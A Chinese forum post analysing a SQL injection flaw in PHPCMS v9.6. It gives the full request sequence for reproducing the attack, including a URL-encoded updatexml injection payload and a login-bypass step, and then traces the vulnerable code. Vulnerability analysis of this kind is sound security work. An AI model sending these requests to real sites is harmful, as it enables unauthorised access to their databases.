推56論壇

 找回密碼
 立即注冊(限中文)

QQ登錄

只需一步,快速開始

    查看: 1075|回複: 0

    [PHPCMS教程] phpcmsv9.6注入漏洞詳細分析

      [複制鏈接]
    發表于 2018-8-30 14:48:54 | 顯示全部樓層 |閱讀模式
    搭建環境,我在本地搭建域名爲 www.joke33.com 的測試環境。
    打開 burpsuite,進行攔截。



    打開火狐浏覽器,訪問有漏洞的網站。
    http://www.joke33.com/index.php



    在 burpsuite 下可以看到攔截到的數據包,然後選擇 repeater 進行重放。
    修改數據包訪問 , 以 GET 方式訪問如下 url:
    /index.php?m=wap&c=index&a=init&siteid=1
    獲取一個 cookie 值。



    修改數據包,以 POST 的方式訪問如下 url:
    /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
    傳入 userid_flash 變量,變量的值爲剛剛獲取到的 cookie 的值
    userid_flash=5ceb9go-1e01hkQc66J1WS7jTWMYriQh6lODXwUnLIiTZh_k
    在數據包頭的結尾添加(這一步必須要,要不然複現失敗。應該數據包的格式要求)
    content-Type:application/x-www-form-urlencoded content-Length:53
    提交數據包,回返回一段加密的密文,將這段密文複制下來。



    /index.php?m=content&c=down&a_k=b2d2BO0WDcSf_BpiZ3UMBtiFx_4FRMv_1Mf35JQNq_ct__4JuWjwgdJjKmtTIZDn5WJBrexM-Nfg7S9J3QwB8U6vrFk3Fti5iJIkK6Gp6B6-ZSZsRKN4emXDpQAEeOD_IzG3kJ8B8ybdHIdytB3yjB7VI8fLm6fojfZOuCMD2iiERJE4aSBOTBM
    a_k 的值爲上一步返回的那段密文。
    提交之後即可成功複現漏洞。



    我們來分析一下這個漏洞。
    我們將漏洞分析分爲三個部分:
    第一部分
    根據最後注入的漏洞 url,跟進到 phpcmsphpcmsmodulescontentdown.php 文件
    跟進到 init ( ) 函數,這邊的這幾行代碼是將 $a_k 的值進行解密



    我們 echo 一下解密後的值



    現在 $a_k 裏面是一個字符串。
    程序在後面會使用 parse_str 對每個變量進行賦值。(有些變量覆蓋漏洞就是 parse_str 這個函數搞得事情)



    這裏我們分析一下 parse_str 函數,parse_str 函數是將字符串解析成多個變量。
    百度了一下,parse_str 的大概格式如下:
    parse_str ( "first=value&two=fooz" ) ;
    中間有一個 "&" 符號,沒有 "&" 符號會出錯
    所以,我們在進行注入的時候寫的注入語句是
    &id=%*27   and   updatexml ( 1,concat ( 1, ( user ( ) ) ) ,1 ) #&m=1&f=haha&modelid=2&catid=7&
    而不是
    id=%*27   and   updatexml ( 1,concat ( 1, ( user ( ) ) ) ,1 ) #&m=1&f=haha&modelid=2&catid=7&
    如果沒有 "&" 符號,會發現注入的參數會變成空值,那就沒有注入漏洞了
    經過 parse_str 函數後,id 的值就變成了可注入的值



    跟進代碼的第 26 行,程序直接用 get_one 函數帶入有注入的語句進行數據庫查詢,所以導致了 sql 注入。



    這邊注入點的難點在于,怎麽獲取有漏洞 $a_k,我們接下來看下怎麽獲取有漏洞 $a_k 值。
    第二部分
    跟著漏洞的思路,我們跟進到 phpcmsphpcmsmodulesattachmentattachments.php 文件
    來到 241 行



    發現這個 src 參數有經過 safe_replace ( ) 函數的處理,但是並沒有其他的過濾,我們可以拿過來利用。
    我們以 get 方式傳入有注入的 src 值,傳入的參數會被記錄到 cookie 的 att_json 裏面。



    這裏面還有一個問題。
    我們調用的 swfupload_json ( ) 函數是在 attachments 這個類中,這個類有一個構造函數 __construct。



    我們看到構造函數會判斷是否登錄。
    但是依據第 17 行的代碼,我們可以知道,如果我們 POST 一個正常存在的 userid_flash 值,是可以繞過登錄判斷的。
    我們跟進到 sys_auth ( ) 函數



    該函數是 phpcms 內 cookie 的加密解密函數,所有 cookies 下加密解密都會經過這個函數。
    swfupload_json ( ) 函數調用的是 sys_auth ( ) 的 DECODE 方式,也就是解密方式,我們可以找到一個調用的是 sys_auth ( ) 的 ENECODE 方式的函數就能繞過了。
    第三部分
    我們跟進到 phpcmsphpcmsmoduleswapindex.php 文件
    看下這個構造函數



    跟進到 set_cookie ( ) 函數



    我們可以看到,set_cookie ( ) 這邊調用了 sys_auth ( ) 並且是 ENCODE 方式,並且計算出來的值保存在 cookie 裏面,我們是可以獲取到的。
    那我們就可以拿過來用了,到這邊我們就可以繞過登錄限制了。




    高級模式
    B Color Image Link Quote Code Smilies
    您需要登錄後才可以回帖 登錄 | 立即注冊(限中文)

    本版積分規則

    關閉

    推56站長論壇推薦上一條 /1 下一條

    站長QQ
    在線咨詢
    咨詢熱線
    QQ:405327411
    站長

    QQ|廣告合作|關于我們|聯系我們|免責聲明|網站導航|站長論壇 ( 豫ICP備11018337號-5 )

    豫公網安備 41172202000143號

    王寶臣旗下網站 推56論壇(www.lifenize.com)站長論壇 SEO論壇 網絡營銷論壇 新手站長論壇 網絡推廣論壇 站長社區 站長網

    Powered by Discuz! X3.4 Licensed

    ©2001-2013 Comsenz Inc.

    快速回複 返回頂部 返回列表